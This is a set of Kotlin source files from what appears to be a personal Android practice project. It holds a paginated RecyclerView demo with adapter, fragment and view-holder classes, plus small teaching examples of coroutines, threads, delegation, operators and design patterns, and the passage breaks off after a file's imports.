import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
import com.dishant.kotlinpractices.recyclerViewDemo.viewHolder.ErrorViewHolderBind
import com.dishant.kotlinpractices.recyclerViewDemo.viewHolder.ItemViewHolderBind
import com.dishant.kotlinpractices.recyclerViewDemo.utils.Operation
import com.dishant.kotlinpractices.recyclerViewDemo.utils.OperationEnum
import com.dishant.kotlinpractices.recyclerViewDemo.utils.RecyclerViewEnum
import com.dishant.kotlinpractices.recyclerViewDemo.viewHolder.PaginationExhaustViewBind
@SuppressLint("NotifyDataSetChanged")
abstract class BaseAdapter<T>(open val interaction: Interaction<T>) :
RecyclerView.Adapter<RecyclerView.ViewHolder>() {
private var errorMessage: String? = null
var isLoading = true
var isPaginating = false
var canPaginating = true
protected var arrayList: ArrayList<T> = arrayListOf()
protected abstract fun handleDiffUtil(newList: ArrayList<T>)
override fun onBindViewHolder(holder: RecyclerView.ViewHolder, position: Int) {
when (getItemViewType(position)) {
RecyclerViewEnum.View.value ->{
(holder as ItemViewHolderBind<T>).bind(arrayList[position],position,interaction)
}
RecyclerViewEnum.Error.value ->{
(holder as ErrorViewHolderBind<T>).bind(errorMessage,interaction)
}
RecyclerViewEnum.PaginationExhaust.value -> {
(holder as PaginationExhaustViewBind<T>).bind(interaction)
}
}
}
override fun getItemViewType(position: Int): Int {
return if (isLoading)
RecyclerViewEnum.Loading.value
else if (errorMessage != null)
RecyclerViewEnum.Error.value
else if (isPaginating && position == arrayList.size)
RecyclerViewEnum.PaginationLoading.value
else if (!canPaginating && position == arrayList.size)
RecyclerViewEnum.PaginationExhaust.value
else if (arrayList.isEmpty())
RecyclerViewEnum.Empty.value
else
RecyclerViewEnum.View.value
}
override fun getItemCount(): Int {
return if (isLoading || errorMessage != null || arrayList.isEmpty())
1
else {
if (arrayList.isNotEmpty() && !isPaginating && canPaginating) {
arrayList.size
} else {
arrayList.size.plus(1)
}
}
}
fun setErrorView(errorMessage : String, isPaginationError : Boolean){
if(isPaginationError){
setState(RecyclerViewEnum.PaginationExhaust)
notifyItemInserted(itemCount)
}else{
setState(RecyclerViewEnum.Error)
this.errorMessage = errorMessage
notifyDataSetChanged()
}
}
fun setLoadingView(isPaginating : Boolean){
if(isPaginating){
setState(RecyclerViewEnum.PaginationLoading)
notifyItemInserted(itemCount)
}else{
setState(RecyclerViewEnum.Loading)
notifyDataSetChanged()
}
}
fun handleOperation(operation : Operation<T>){
val newList = arrayList.toMutableList()
var index: Int =-1
when(operation.operationEnum){
OperationEnum.Insert ->{
newList.add(operation.data)
}
OperationEnum.Delete ->{
newList.remove(operation.data)
}
OperationEnum.Update ->{
index = newList.indexOfFirst {
it == operation.data
}
newList[index] = operation.data
}
}
handleDiffUtil(newList as ArrayList<T>)
if(index!= -1){
notifyItemChanged(index)
}
}
fun setData(newList : ArrayList<T> ,isPaginationData : Boolean =false){
setState(RecyclerViewEnum.View)
if(!isPaginationData){
if(arrayList.isNotEmpty()){
arrayList.clear()
}
arrayList.addAll(newList)
notifyDataSetChanged()
}else{
notifyItemRemoved(itemCount)
newList.addAll(0,arrayList)
handleDiffUtil(newList)
}
}
private fun setState(recyclerViewEnum: RecyclerViewEnum) {
when(recyclerViewEnum){
RecyclerViewEnum.Empty ->{
isLoading = false
isPaginating = false
errorMessage = null
}
RecyclerViewEnum.Loading ->{
isLoading = true
isPaginating=false
errorMessage = null
canPaginating= true
}
RecyclerViewEnum.Error ->{
isLoading = false
isPaginating = false
}
RecyclerViewEnum.View ->{
isLoading = false
isPaginating = false
errorMessage = null
}
RecyclerViewEnum.PaginationLoading ->{
isLoading= false
isPaginating = true
errorMessage = null
}
RecyclerViewEnum.PaginationExhaust ->{
isLoading= false
isPaginating= false
canPaginating = false
}
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/PaginationExhaustViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.CellPaginationExhaustBinding
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
class PaginationExhaustViewHolder(private val binding : CellPaginationExhaustBinding) : RecyclerView.ViewHolder(binding.root), PaginationExhaustViewBind<RecyclerViewModel> {
override fun bind(interaction: Interaction<RecyclerViewModel>) {
binding.topButton.setOnClickListener{interaction.onExhaustButtonPressed()}
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/scopeFuction/with.kt
package com.dishant.kotlinpractices.coreKotlin.scopeFuction
class Configuration(var host:String , var port :String)
fun main() {
var configuration =
Configuration(
host = "127.0.0.0",
port = "8080"
)
with(configuration){
println("$host:$port")
}
// we change property of object
// like apply, with is used to change instance properties
// without the need to call dot operator over the reference every time.
configuration =with(configuration){
host = "192.168.127.12"
port = "9090"
println("$host : $port")
this
}
// we can return value using with
var isConfigurationChange = with(configuration){
host = "192.168.127.12"
port = "9080"
true
}
println("cofigurationChange $isConfigurationChange")
// use with insteadof below
print("${configuration.host} : ${configuration.port}")
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/enums/Color.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums
enum class Color(private val color: String) {
Red("#000"),Pink("#000");
override fun toString(): String {
return color
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/multiThreading/MultiThreading.kt
package com.dishant.kotlinpractices.coreKotlin.multiThreading
private const val TAG = "MultiThreading"
fun main() {
Thread(startThread()).apply { start() }
ExampleThread(10).apply { start() }
Thread(ExampleRunnable(5)).apply { start() }
}
fun startThread() : Runnable{
return Runnable {
for (number in 1..10){
println("startThread $number")
Thread.sleep(1000)
}
}
}
class ExampleThread(private var seconds : Int) : Thread(){
override fun run() {
super.run()
for (number in 1..seconds){
println("ExampleThread startThread $number")
Thread.sleep(1000)
}
}
}
class ExampleRunnable(private var seconds: Int) : Runnable{
override fun run() {
for (number in 1..seconds){
println("ExampleRunnable startThread $number")
Thread.sleep(1000)
}
}
}
//class ExampleThread(private var seconds : Int) : Thread(){
// override fun run() {
// super.run()
// for (number in 1..seconds){
// println("ExampleThread startThread $number")
// Thread.sleep(1000)
// }
// }
//}
//
//class ExampleRunnable(private var seconds: Int) : Runnable{
// override fun run() {
// for (number in 1..seconds){
// println("ExampleRunnable startThread $number")
// Thread.sleep(1000)
// }
// }
//
//}
//
//class ExampleThread(private var seconds : Int) : Thread(){
// override fun run() {
// super.run()
// for (number in 1..seconds){
// println("ExampleThread startThread $number")
// Thread.sleep(1000)
// }
// }
//}
//
//class ExampleRunnable(private var seconds: Int) : Runnable{
// override fun run() {
// for (number in 1..seconds){
// println("ExampleRunnable startThread $number")
// Thread.sleep(1000)
// }
// }
//}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/cancellation/handleCancelException/CancellationExample4.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.cancellation.handleCancelException
import kotlinx.coroutines.*
// Pass own cancellation message
fun main() = runBlocking {
println("Main program starts : ${Thread.currentThread().name}")
val job = launch {
try {
for(i in 0..500){
println("$i.")
delay(50)
}
} catch (e: CancellationException) {
println("Cancel coroutine calls : ${e.message}" )
} finally {
withContext(NonCancellable){
delay(100) // Generally we don't use suspending function in finally block
println("close all resources")
}
}
}
delay(200)
job.cancel(CancellationException("This canceled programmatically"))
job.join()
println("Main program ends :${Thread.currentThread().name}")
}
//output
//Main program starts : main
//0.
//1.
//2.
//3.
//Cancel coroutine calls : This canceled programmatically
//close all resources
//Main program ends :main<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/fragment/BaseFragment.kt
package com.dishant.kotlinpractices.recyclerViewDemo.fragment
import androidx.fragment.app.Fragment
abstract class BaseFragment<T> : Fragment() {
protected var _binding : T? = null
protected val binding get() = _binding!!
override fun onDestroyView() {
super.onDestroyView()
_binding = null
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/fragment/MainFragment.kt
package com.dishant.kotlinpractices.recyclerViewDemo.fragment
import android.app.Dialog
import android.content.Context
import android.graphics.Color
import android.graphics.drawable.ColorDrawable
import android.icu.text.Transliterator.Position
import android.nfc.tech.MifareUltralight.PAGE_SIZE
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.AbsListView
import android.widget.Toast
import androidx.lifecycle.ViewModelProvider
import androidx.lifecycle.lifecycleScope
import androidx.recyclerview.widget.DividerItemDecoration
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.R
import com.dishant.kotlinpractices.databinding.FragmentMainBinding
import com.dishant.kotlinpractices.recyclerViewDemo.utils.NetworkResponse
import com.dishant.kotlinpractices.recyclerViewDemo.adapter.RecyclerViewAdapter
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.RecyclerViewInteraction
import com.dishant.kotlinpractices.recyclerViewDemo.utils.quickToScrollToTop
import com.dishant.kotlinpractices.recyclerViewDemo.viewmodel.MainViewModel
import kotlinx.coroutines.launch
class MainFragment : BaseFragment<FragmentMainBinding>() {
private lateinit var viewModel: MainViewModel
private var recyclerViewAdapter: RecyclerViewAdapter? = null
private var loadingDialog: Dialog? = null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
viewModel = ViewModelProvider(this)[MainViewModel::class.java]
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
_binding = FragmentMainBinding.inflate(inflater, container, false)
return binding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
setDialog(view.context)
setObserver()
setRecyclerView()
setListeners()
}
private fun setRecyclerView() {
binding.mainRV.apply {
val linearLayoutManager = LinearLayoutManager(context)
layoutManager = linearLayoutManager
addItemDecoration(DividerItemDecoration(context,linearLayoutManager.orientation))
recyclerViewAdapter = RecyclerViewAdapter(interaction = object : Interaction<RecyclerViewModel>{
override fun onItemSelected(item: RecyclerViewModel , position: Int) {
Toast.makeText(context,"Item $position ${item.content}", Toast.LENGTH_SHORT).show()
}
override fun onLongPressed(item: RecyclerViewModel) {
}
override fun onErrorRefreshPressed() {
viewModel.refreshData()
}
override fun onExhaustButtonPressed() {
viewLifecycleOwner.lifecycleScope.launch {
binding.mainRV.quickToScrollToTop()
}
}
}, extraInteraction = object : RecyclerViewInteraction<RecyclerViewModel>{
override fun onUpdatePressed(item: RecyclerViewModel) {
viewModel.updateData(item)
}
override fun onDeletePressed(item: RecyclerViewModel) {
viewModel.deleteData(item)
}
override fun onLikePressed(item: RecyclerViewModel) {
viewModel.toggleData(item)
}
}
)
adapter = recyclerViewAdapter
var isScrolling =false
addOnScrollListener(object : RecyclerView.OnScrollListener() {
override fun onScrollStateChanged(recyclerView: RecyclerView, newState: Int) {
super.onScrollStateChanged(recyclerView, newState)
isScrolling = newState != AbsListView.OnScrollListener.SCROLL_STATE_IDLE
}
override fun onScrolled(recyclerView: RecyclerView, dx: Int, dy: Int) {
super.onScrolled(recyclerView, dx, dy)
val itemCount = linearLayoutManager.itemCount
val lastVisibleItemPosition = linearLayoutManager.findLastVisibleItemPosition()
if (lastVisibleItemPosition > PAGE_SIZE.plus(PAGE_SIZE.div(2)) && dy <= -75) {
binding.fab.show()
} else if (lastVisibleItemPosition <= PAGE_SIZE.plus(PAGE_SIZE.div(2)) || dy >= 60) {
binding.fab.hide()
}
recyclerViewAdapter?.let {
if (
isScrolling &&
lastVisibleItemPosition >= itemCount.minus(5) &&
it.canPaginating &&
!it.isPaginating
) {
viewModel.fetchData()
}
}
}
})
}
}
private fun setObserver() {
viewModel.rvList.observe(viewLifecycleOwner) { response ->
binding.swipeRefreshLayout.isEnabled = when (response) {
is NetworkResponse.Success -> {
true
}
is NetworkResponse.Failure -> {
response.isPaginatingError
}
else -> {
false
}
}
when (response) {
is NetworkResponse.Failure -> {
recyclerViewAdapter?.setErrorView(
response.errorMessage,
response.isPaginatingError
)
}
is NetworkResponse.Loading -> {
recyclerViewAdapter?.setLoadingView(response.isPaginating)
}
is NetworkResponse.Success -> {
recyclerViewAdapter?.setData(response.data, response.isPaginating)
}
}
}
viewModel.rvOperation.observe(viewLifecycleOwner){ response ->
when(response){
is NetworkResponse.Failure ->{
if(loadingDialog?.isShowing == true){
loadingDialog?.dismiss()
}
}
is NetworkResponse.Loading ->{
if(recyclerViewAdapter?.isLoading == false)
loadingDialog?.show()
}
is NetworkResponse.Success ->{
if(loadingDialog?.isShowing ==true){
loadingDialog?.dismiss()
}
recyclerViewAdapter?.handleOperation(response.data)
}
}
}
}
private fun setListeners() {
binding.swipeRefreshLayout.setOnRefreshListener {
viewModel.refreshData()
binding.swipeRefreshLayout.isRefreshing = false
}
binding.errorButton.setOnClickListener {
viewModel.throwError()
}
binding.fab.setOnClickListener {
viewLifecycleOwner.lifecycleScope.launch {
binding.mainRV.quickToScrollToTop()
}
}
binding.paginateErrorButton.setOnClickListener {
viewModel.exhaustPagination()
}
binding.appendButton.setOnClickListener {
if(recyclerViewAdapter?.canPaginating == true && recyclerViewAdapter?.isPaginating == false){
viewModel.fetchData()
}
binding.mainRV.scrollToPosition(recyclerViewAdapter?.itemCount ?: 0)
}
}
private fun setDialog(context: Context) {
loadingDialog = Dialog(context)
loadingDialog?.setCancelable(false)
loadingDialog?.setContentView(R.layout.loading_dialog)
loadingDialog?.window?.setBackgroundDrawable(ColorDrawable(Color.TRANSPARENT))
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example5.kt
package com.dishant.kotlinpractices.coreKotlin.solid
// Dependency inversion principle
//This principle states that high-level modules should not depend on low-level modules.
// Both should depend on abstractions and Abstractions should not depend upon details.
// Details should depend upon abstractions.
class AndroidDeveloper{
fun developMobileApp(){
println("Developing android application by using kotlin")
}
}
class IosDeveloper(){
fun developMobileApp(){
println("Developing ios application by using swift")
}
}
fun main(){
val androidDeveloper = AndroidDeveloper()
val iosDeveloper = IosDeveloper()
androidDeveloper.developMobileApp()
iosDeveloper.developMobileApp()
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Miscellaneous/reflection.kt
package com.dishant.kotlinpractices.coreKotlin.Miscellaneous
class Reflection {
}
fun main(){
val abc = Reflection::class
println("This is a class reference $abc")
val obj = Reflection()
println("This is a bounded class reference ${obj::class}")
println("This is a bounded class reference $obj")
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/delegate/implicitDelegation/implicitDelegationExample1.kt
package com.dishant.kotlinpractices.coreKotlin.delegate.implicitDelegation
fun main(){
val person = Person(JacKName(), LogisticRunner())
println(person.name)
person.run()
}
interface Nameable{
var name:String
}
class JacKName : Nameable{
override var name: String = "Jack"
}
class LogisticRunner : Runnable{
override fun run() {
println("long")
}
}
class Person(name: Nameable,runner: LogisticRunner) : Nameable by name , Runnable by runner<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/utils/Extentions.kt
package com.dishant.kotlinpractices.recyclerViewDemo.utils
import android.util.DisplayMetrics
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.LinearSmoothScroller
import androidx.recyclerview.widget.RecyclerView
import kotlinx.coroutines.android.awaitFrame
const val DEFAULT_JUMP_THRESHOLD = 50
const val DEFAULT_SPEED_FACTOR = 1f
suspend fun RecyclerView.quickToScrollToTop(
jumpThreshold : Int = DEFAULT_JUMP_THRESHOLD,
speedFactor: Float = DEFAULT_SPEED_FACTOR
){
val linearLayoutManager = layoutManager as LinearLayoutManager
val smoothScroller = object : LinearSmoothScroller(context){
init {
targetPosition = 0
}
override fun calculateSpeedPerPixel(displayMetrics: DisplayMetrics?) =
super.calculateSpeedPerPixel(displayMetrics) / speedFactor
}
val jumpBeforeScroll = linearLayoutManager.findFirstVisibleItemPosition() > jumpThreshold
if(jumpBeforeScroll){
linearLayoutManager.scrollToPositionWithOffset(jumpThreshold,0)
awaitFrame()
}
linearLayoutManager.startSmoothScroll(smoothScroller)
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/ControlFlow/RangeExample.kt
package com.dishant.kotlinpractices.coreKotlin.ControlFlow
fun main() {
for ( number in 1..10){
println(number)
}
for(alphabets in 'a'..'z' step 2){
print(alphabets)
}
//reverse order
for(number in 3 downTo 0){
println(number)
}
// check values in ranges
val x =10
if(x in 10..20){
println("$x in range in 10 to 20")
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Inheritance/InheritanceExample.kt
package com.dishant.kotlinpractices.coreKotlin.Inheritance
//kotlin classes are final by default. If you want to allow
// the class inheritance, mark the class with the open modifier.
open class Dog(){
//Kotlin methods are also final by default.
//As with the classes, the open modifier allows overriding them.
open fun sayHello(){
println("Wow Wow")
}
}
class Pupi : Dog(){
override fun sayHello() {
println("wif wif")
}
}
//inheritance with parameterrized constructor
open class Tiger(val origin:String){
fun sayHello(){
println("A Tiger from $origin say grrhh!")
}
}
class IndianTiger() : Tiger("India")
class AfricanTiger(originname : String) : Tiger(origin = originname)
fun main() {
val dog :Dog = Pupi()
dog.sayHello();
val indianTiger =IndianTiger();
println(indianTiger.origin)
val africanTiger = AfricanTiger("Africa")
println(africanTiger.origin)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/cancellation/CancellationExample3.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.cancellation
import kotlinx.coroutines.*
fun main() = runBlocking {
println("Main program starts : ${Thread.currentThread().name}")
val job = launch {
for(i in 0..500){
print("$i.")
// delay(50)
yield()
}
}
delay(2)
job.cancelAndJoin()
println("Main program ends :${Thread.currentThread().name}")
}
//output
//Main program starts : main
//0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.
// 21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.Main program ends :main<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Funtions/OpratorFunction.kt
package com.dishant.kotlinpractices.coreKotlin.Funtions
fun main(args: Array<String>) {
println(3 * "Hello ")
val str ="Hello bro !";
println(str[0..10])
println("Dishant " + "Hello last")
}
/*https://kotlinlang.org/docs/reference/operator-overloading.html?&_ga=2.71935891.1021303440.1584340127-1671018103.1584340127#indexed
*
* Certain functions can be "upgraded" to operators, allowing their calls with the corresponding operator symbol.
*
* like below Binary Arithmetic oprators coresponding methods
a + b a.plus(b)
a - b a.minus(b)
a * b a.times(b)
a / b a.div(b)
a % b a.rem(b), a.mod(b) (deprecated)
a..b a.rangeTo(b)
* */
operator fun Int.times(str:String) = str.repeat(this)
operator fun String.plus(str: String) = this.plus("Hello $str")
operator fun String.get(range: IntRange) = substring(range)<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/SpacialClasses/EnumClassExample.kt
package com.dishant.kotlinpractices.coreKotlin.SpacialClasses
enum class State{
IDLE,RUNNING,FINISHED
}
fun main() {
val state = State.RUNNING
val message = when(state){
State.IDLE-> "It's idle"
State.RUNNING -> "It's running"
State.FINISHED -> "It's finished"
}
println(message)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/KotlinJetbrainPrcatice/day1/report.kt
package com.dishant.kotlinpractices.KotlinJetbrainPrcatice.day1
import java.io.File
//video tutorial link
//https://www.youtube.com/playlist?list=PLlFc5cFwUnmwfLRLvIM7aV7s73eSTL005
fun main(){
val numbers = File("/Users/admin/LivebirdProjects/PracticeProjets/KotlinPractices/app/src/main/java/com/dishant/kotlinpractices/KotlinJetbrainPrcatice/day1/input.txt")
.readLines()
.map(String::toInt)
for (first in numbers){
for (second in numbers){
for (third in numbers){
if(first + second + third== 2020){
println("$first ,$second , $third ")
println(first * second * third)
return
}
}
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/suspending/suspendingExample1.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.suspending
import kotlinx.coroutines.delay
import kotlinx.coroutines.runBlocking
import kotlin.system.measureTimeMillis
// coroutine execute sequentially by default
fun main() = runBlocking {
println("Main program starts ${Thread.currentThread().name}")
val timeTakenToExecute = measureTimeMillis {
val msgOne = getMessageOne() // this function run in runblocking scope
val msgTwo = getMessageTwo() // this funtion run in same runblocking scope and wait until first function is completed
println("The entire message is ${msgOne + msgTwo}")
}
println("Completed in $timeTakenToExecute ms")
println("Main program ends ${Thread.currentThread().name}")
}
//output
//Main program starts main
//The entire message is Helloworld
//Completed in 2012 ms
//Main program ends main
suspend fun getMessageOne(): String {
delay(1000L)
println("After working in getMessageOne")
return "Hello"
}
suspend fun getMessageTwo() :String {
delay(1000L)
println("After working in getMessageTwo")
return "world"
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/cancellation/CancellationExample4.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines.cancellation
import kotlinx.coroutines.*
fun main() = runBlocking {
println("Main program starts : ${Thread.currentThread().name}")
//check coroutine periodically that it has been cancel or not by using isActive flag in coroutine
val job = launch(Dispatchers.Default) {
for(i in 0..500){
if(!isActive)
break
print("$i.")
//add delay because it execute quickly and cancel
Thread.sleep(2)
}
}
delay(10)
job.cancelAndJoin()
println("Main program ends :${Thread.currentThread().name}")
}
//output
//Main program starts : main
//0.1.2.3.4.5.6.Main program ends :main<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Funtions/SimpleFunctions.kt
package com.dishant.kotlinpractices.coreKotlin.Funtions
fun main(args: Array<String>) {
printMessage("Hello")
printMessageWithPrefix("Hello","Dishant")
printMessageWithPrefix("Hello")
//Calls the same function using named arguments and changing the order of the arguments.
printMessageWithPrefix(prefix = "Hello" ,message = "Dishant")
println(sum(10,50))
println(multiply(10,7))
}
fun printMessage(message :String){
println(message)
}
fun printMessageWithPrefix(message: String, prefix:String="Info"){
println("[$prefix] $message")
}
fun sum(x:Int, y:Int): Int {
return x+y;
}
//A single-expression function that returns an integer (inferred).
fun multiply(x:Int, y:Int) = x*y<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/ItemViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import android.widget.PopupMenu
import android.widget.Toast
import androidx.core.content.ContextCompat
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.R
import com.dishant.kotlinpractices.databinding.CellItemBinding
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.Interaction
import com.dishant.kotlinpractices.recyclerViewDemo.`interface`.RecyclerViewInteraction
class ItemViewHolder(
private val binding: CellItemBinding,
private val extraInteraction: RecyclerViewInteraction<RecyclerViewModel>
) : RecyclerView.ViewHolder(binding.root),
ItemViewHolderBind<RecyclerViewModel> {
override fun bind(
item: RecyclerViewModel,
position: Int,
interaction: Interaction<RecyclerViewModel>
) {
val text = "Position $position ${item.text}"
binding.idTV.text = item.id
binding.contentTV.text = item.content.ifBlank { text }
binding.favButton.setImageDrawable(
ContextCompat.getDrawable(
binding.root.context,
if (item.isLiked) R.drawable.ic_baseline_favorite_24 else R.drawable.ic_baseline_favorite_border_24
)
)
binding.moreButton.setOnClickListener {
val popupMenu = PopupMenu(binding.root.context, binding.moreButton)
popupMenu.inflate(R.menu.popup_menu)
popupMenu.setOnMenuItemClickListener {
when (it.itemId) {
R.id.delete -> {
try {
extraInteraction.onDeletePressed(item)
} catch (e: Exception) {
Toast.makeText(
binding.root.context,
"Please wait before doing any operation.",
Toast.LENGTH_SHORT
).show()
}
return@setOnMenuItemClickListener true
}
R.id.update -> {
try{
extraInteraction.onUpdatePressed(item)
}catch (e: Exception){
Toast.makeText(binding.root.context,"Please wait before doing any operation",Toast.LENGTH_SHORT).show()
}
return@setOnMenuItemClickListener true
}
else -> {
return@setOnMenuItemClickListener false
}
}
}
popupMenu.show()
}
binding.root.setOnClickListener {
try {
interaction.onItemSelected(item,position)
} catch (e: Exception) {
Toast.makeText(
binding.root.context,
"Please wait before doing any interaction.",
Toast.LENGTH_SHORT
).show()
}
}
binding.favButton.setOnClickListener {
extraInteraction.onLikePressed(item)
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/viewHolder/EmptyViewHolder.kt
package com.dishant.kotlinpractices.recyclerViewDemo.viewHolder
import androidx.recyclerview.widget.RecyclerView
import com.dishant.kotlinpractices.databinding.CellEmptyBinding
class EmptyViewHolder (binding: CellEmptyBinding) : RecyclerView.ViewHolder(binding.root){
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/delegate/TestDelegateProperty.kt
package com.dishant.kotlinpractices.coreKotlin.delegate
import kotlin.properties.Delegates
class TestDelegateProperty{
var number by Delegates.notNull<Int>()
companion object{
var fullNameOfPerson by TrimDelegate()
var fullNameOfPerson1 : String = ""
}
fun setAndGetValue() {
fullNameOfPerson = "<NAME> "
fullNameOfPerson1 = "<NAME> "
print(fullNameOfPerson)
print(fullNameOfPerson1)
print(fullNameOfPerson)
print(fullNameOfPerson1)
}
}
fun main(args:Array<String>){
val testDelegateProperty = TestDelegateProperty()
testDelegateProperty.setAndGetValue()
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines10.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.*
// use main method function as expression
fun main() = runBlocking { //create new coroutine that block the current main thread
println("Main program starts ${Thread.currentThread().name}") // main thread
//async acquire runBlocking scope/thread
val jobDeferred: Deferred<Int> = async {// launch a new coroutine in the scope of runBlocking
println("fake work start ${Thread.currentThread().name}") // thread main
delay(1000) // coroutine is suspended(paused) but thread main is free( not block)
println("fake work end ${Thread.currentThread().name}")// thread main
20
}
// delay(4000) //main thread : wait for coroutine to finish
// jobDeferred.join()
val value= jobDeferred.await()
println("new values $value") //main thread
println("Main program Ends ${Thread.currentThread().name}") //main thread
}
//note : delay is suspend function and used to pause the coroutine for some time
// suspend function is not called from outside a coroutine
//async function....
// launch a new coroutine without blocking the current thread
// -- >inherits the thread & coroutine scope of immediate parent coroutine
// -- >returns a reference to the Deferred<T> object
// -- >using Deferred object we can cancel the coroutine or wait for finish coroutine
// or retrieve the returned result
// runBlocking is create blocking coroutine (means it block main thread)
//output
/*Main program starts main
fake work start main
fake work end main
new values 20
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Variables/VariableExample.kt
package com.dishant.kotlinpractices.coreKotlin.Variables
fun main(args: Array<String>) {
//var means variable = var
//val means final variable or fix value or simply value = val
//Declares a mutable variable with initializing it.
//mutable means variable a can be reassigned
var a: String ="Hello"
println(a)
a= "Hi !"
println(a)
//Declares a Immutable variable with initializing it.
//Immutable means variable b cannot be reassigned
val b: Int= 10;
//like
//b=20;
//Declares an immutable variable and initializing it without specifying the type. The compiler infers the type Int.
val c=20;
var e: Int
//An attempt to use the variable causes a compiler error: Variable 'e' must be initialized.
//println(e)
val d: Int
if (true) {
d = 1
} else {
d = 2
}
//Reading the variable is possible because it's already been initialized.
println(d)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Wizard.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command
import android.util.Log
import java.util.*
class Wizard{
private val undoStack: Deque<Command> = LinkedList<Command>()
private val redoStack: Deque<Command> = LinkedList<Command>()
fun castSpell(command: Command, target: Target){
command.execute(target)
undoStack.offerLast(command)
}
fun undoLastSpell():Boolean{
return if(!undoStack.isEmpty()){
val previousSpell = undoStack.pollLast()
redoStack.offerLast(previousSpell)
previousSpell?.undo()
true
}else{
Log.d(MainActivity.TAG ,"undo stack is empty")
false
}
}
fun redoLastSpell():Boolean{
return if(!redoStack.isEmpty()){
val previousSpell = redoStack.pollLast()
undoStack.offerLast(previousSpell)
previousSpell?.redo()
true
}else{
Log.d(MainActivity.TAG,"redo stack is empty")
false
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/enums/Visibility.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums
enum class Visibility(private val visibility: String) {
INVISIBLE("Invisible"),VISIBLE("Visible");
override fun toString(): String {
return visibility
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/ControlFlow/WhenExample.kt
package com.dishant.kotlinpractices.coreKotlin.ControlFlow
import com.dishant.kotlinpractices.coreKotlin.Class.Customer
fun main() {
checkCases(1)
checkCases("hello")
checkCases("Hello")
checkCases(Customer())
checkCases(3L)
println(checkCasesAndReturnResult(1))
println(checkCasesAndReturnResult("hello all"))
println(checkCasesAndReturnResult(3.0))
println(checkCasesAndReturnResult(123))
}
//When as a Statment
fun checkCases(obj : Any){
when(obj){
1 -> println("this is interger")
"Hello" -> println("this is Hello word")
is Long -> println("this is long")
!is String -> println("this is not string")
else -> println("Unknown Type")
}
}
//When as a Expression
fun checkCasesAndReturnResult(obj:Any) : Any{
val result = when(obj){
1-> "this is Interger"
is String -> "this is String"
else -> "Unkonwn Type"
}
return result
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/kotlinFlow/FlowFilter.kt
package com.dishant.kotlinpractices.coreKotlin.kotlinFlow
import kotlinx.coroutines.flow.collectLatest
import kotlinx.coroutines.flow.filter
